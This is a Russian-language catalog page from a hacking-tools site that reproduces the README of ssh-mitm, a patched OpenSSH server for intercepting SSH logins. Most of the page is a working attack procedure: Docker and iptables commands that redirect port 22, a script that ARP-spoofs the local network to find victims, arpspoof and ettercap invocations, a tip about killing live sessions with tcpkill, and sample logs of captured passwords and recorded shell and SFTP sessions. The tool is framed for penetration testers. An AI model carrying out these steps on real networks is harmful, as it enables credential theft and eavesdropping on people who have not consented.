Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ssh-mitm — SSH-инструмент типа «человек посередине» | Kitploit
Инструменты/GitHubGitHub/jtesta/ssh-mitm
Взлом паролейРазведкаОбход IDS/IPSЛатеральное перемещениеСбор информацииСетевая безопасностьТестирование на ПроникновениеАутентификацияRed TeamingArchived
GitHubjtesta/ssh-mitm

ssh-mitm

SSH-инструмент типа «человек посередине»

1.7k2135 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

SSH MITM v2.3-dev

Автор: Joe Testa (@therealjoetesta)

Обзор

Этот инструмент для тестирования на проникновение позволяет аудитору перехватывать SSH-соединения. Патч, применённый к исходному коду OpenSSH v7.5p1, заставляет его действовать как прокси между жертвой и её целевым SSH-сервером; все пароли и сессии в открытом виде записываются на диск.

Конечно, SSH-клиент жертвы сообщит, что ключ сервера изменился. Но поскольку в 99.99999% случаев это вызвано легитимным действием (переустановка ОС, изменение конфигурации и т.д.), многие/большинство пользователей проигнорируют предупреждение и продолжат.

ПРИМЕЧАНИЕ: Запускайте модифицированный sshd_mitm только в виртуальной машине или контейнере! В исходный код OpenSSH были внесены ad-hoc правки в критических областях без учёта их влияния на безопасность. Нетрудно представить, что эти правки могут привести к серьёзным уязвимостям.

Журнал изменений

  • v2.3: ???: Добавлена поддержка Linux Mint 20 и Ubuntu 20.
  • v2.2: 16 сентября 2019: Исправлена установка на Kali и Linux Mint 19. Исправлено двойное появление запроса пароля, возникавшее при определённых условиях. Улучшено логирование ошибок.
  • v2.1: 4 января 2018: Включено выполнение неинтерактивных команд, добавлена возможность перехвата соединений со старыми серверами со слабыми алгоритмами, исправлены две серьёзные ошибки, из-за которых AppArmor убивал некоторые соединения, улучшено логирование ошибок.
  • v2.0: 12 сентября 2017: Добавлена полная поддержка SFTP(!) и изоляция AppArmor.
  • v1.1: 6 июля 2017: Устранены зависимости от прав root, добавлен автоматический установщик, добавлена поддержка Kali Linux, добавлен скрипт JoesAwesomeSSHMITMVictimFinder.py для поиска потенциальных целей в локальной сети.
  • v1.0: 16 мая 2017: Первоначальная версия.

Запуск Docker-образа

Самый быстрый и простой способ начать работу — использовать Docker-образ с предварительно собранным SSH MITM.

1.) Получите образ из Dockerhub:

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) Затем запустите контейнер:

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) Включите IP-форвардинг и настройте NAT на вашем хост-компьютере:

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) Найдите цели в локальной сети и выполните ARP-спуфинг (см. ниже).

5.) Сессии оболочки и SFTP будут записаны в каталог ssh_mitm_logs.

Начальная настройка

Запустите скрипт install.sh от имени root. Он установит необходимые зависимости из репозиториев, загрузит архив OpenSSH, проверит его подпись, скомпилирует и инициализирует непривилегированную среду для выполнения.

Поиск целей

Скрипт JoesAwesomeSSHMITMVictimFinder.py значительно упрощает поиск целей в локальной сети. Он выполняет ARP-спуфинг блока IP-адресов и анализирует SSH-трафик в течение короткого времени, прежде чем перейти к следующему блоку. Сообщается о любых активных SSH-соединениях, исходящих от устройств в сети.

По умолчанию JoesAwesomeSSHMITMVictimFinder.py будет подделывать ARP и анализировать только 5 IP-адресов за раз в течение 20 секунд, прежде чем перейти к следующему блоку из 5. Эти параметры можно настроить, но существует компромисс: чем больше IP-адресов подделывается одновременно, тем выше вероятность обнаружения активного SSH-соединения, но тем больше нагрузка на ваш сетевой интерфейс. При слишком высокой нагрузке интерфейс начнёт терять кадры, вызывая отказ в обслуживании и значительно повышая подозрения (это плохо). Значения по умолчанию в большинстве случаев не должны вызывать проблем, хотя для поиска целей потребуется больше времени. Размер блока можно безопасно увеличить в сетях с низкой загрузкой.

Пример:

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

Приведённый выше вывод показывает, что два устройства в сети установили SSH-соединения (10.11.12.43 и 10.11.12.70); их можно атаковать с помощью перехвата. Однако, чтобы перехватить учётные данные, вам придётся дождаться, когда они инициируют новые соединения. Нетерпеливые пентестеры могут принудительно завершить существующие SSH-сессии (с помощью инструмента tcpkill), что вынудит клиентов немедленно создать новые...

Запуск атаки

1.) После завершения начальной настройки и получения списка потенциальных жертв (см. выше) запустите start.sh от имени root. Это запустит sshd_mitm, включит IP-форвардинг и настроит перехват SSH-пакетов через iptables.

2.) Выполните ARP-спуфинг цели (Совет: НЕ подделывайте все IP-адреса подряд! Ваш слабый сетевой интерфейс, скорее всего, не справится с трафиком всей сети одновременно. Подделывайте только несколько IP-адресов за раз):

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

В качестве альтернативы можно использовать инструмент ettercap:

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) Следите за auth.log. Перехваченные пароли будут появляться здесь:

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) После установки сессии полный журнал всего ввода-вывода можно найти в /home/ssh-mitm/. SSH-сессии записываются как shell_session_*.txt, а SFTP-сессии — как sftp_session_*.html (переданные файлы сохраняются в соответствующем каталоге).

Пример результатов

В случае успеха в /var/log/auth.log появятся строки, логирующие пароль, например:

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Кроме того, вся SSH-сессия жертвы записывается:

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Обратите внимание, что символы в командах пользователя отображаются в файле дважды, поскольку записывается как ввод пользователя, так и вывод оболочки (которая отображает символы обратно). Обратите внимание, что когда программы, такие как sudo и ssh, временно отключают отображение для чтения пароля, повторяющиеся символы не сохраняются.

Вся активность SFTP также записывается. Используйте браузер для просмотра sftp_session_0.html. Он содержит журнал команд со ссылками на загруженные и скачанные файлы:

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

Документация для разработчика

В файле lol.h находятся два макроса: DEBUG_HOST и DEBUG_PORT. Включите их и укажите имя хоста тестового сервера. Теперь вы можете подключаться к sshd_mitm напрямую, без использования ARP-спуфинга, чтобы протестировать свои изменения, например:

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

Для тестирования изменений в исходном коде OpenSSH используйте скрипт dev/redeploy.sh.

Чтобы увидеть diff незафиксированных изменений, используйте скрипт dev/make_diff_of_uncommitted_changes.sh.

Для повторной генерации полного патча к исходным кодам OpenSSH используйте скрипт dev/regenerate_patch.sh.

Скачать инструмент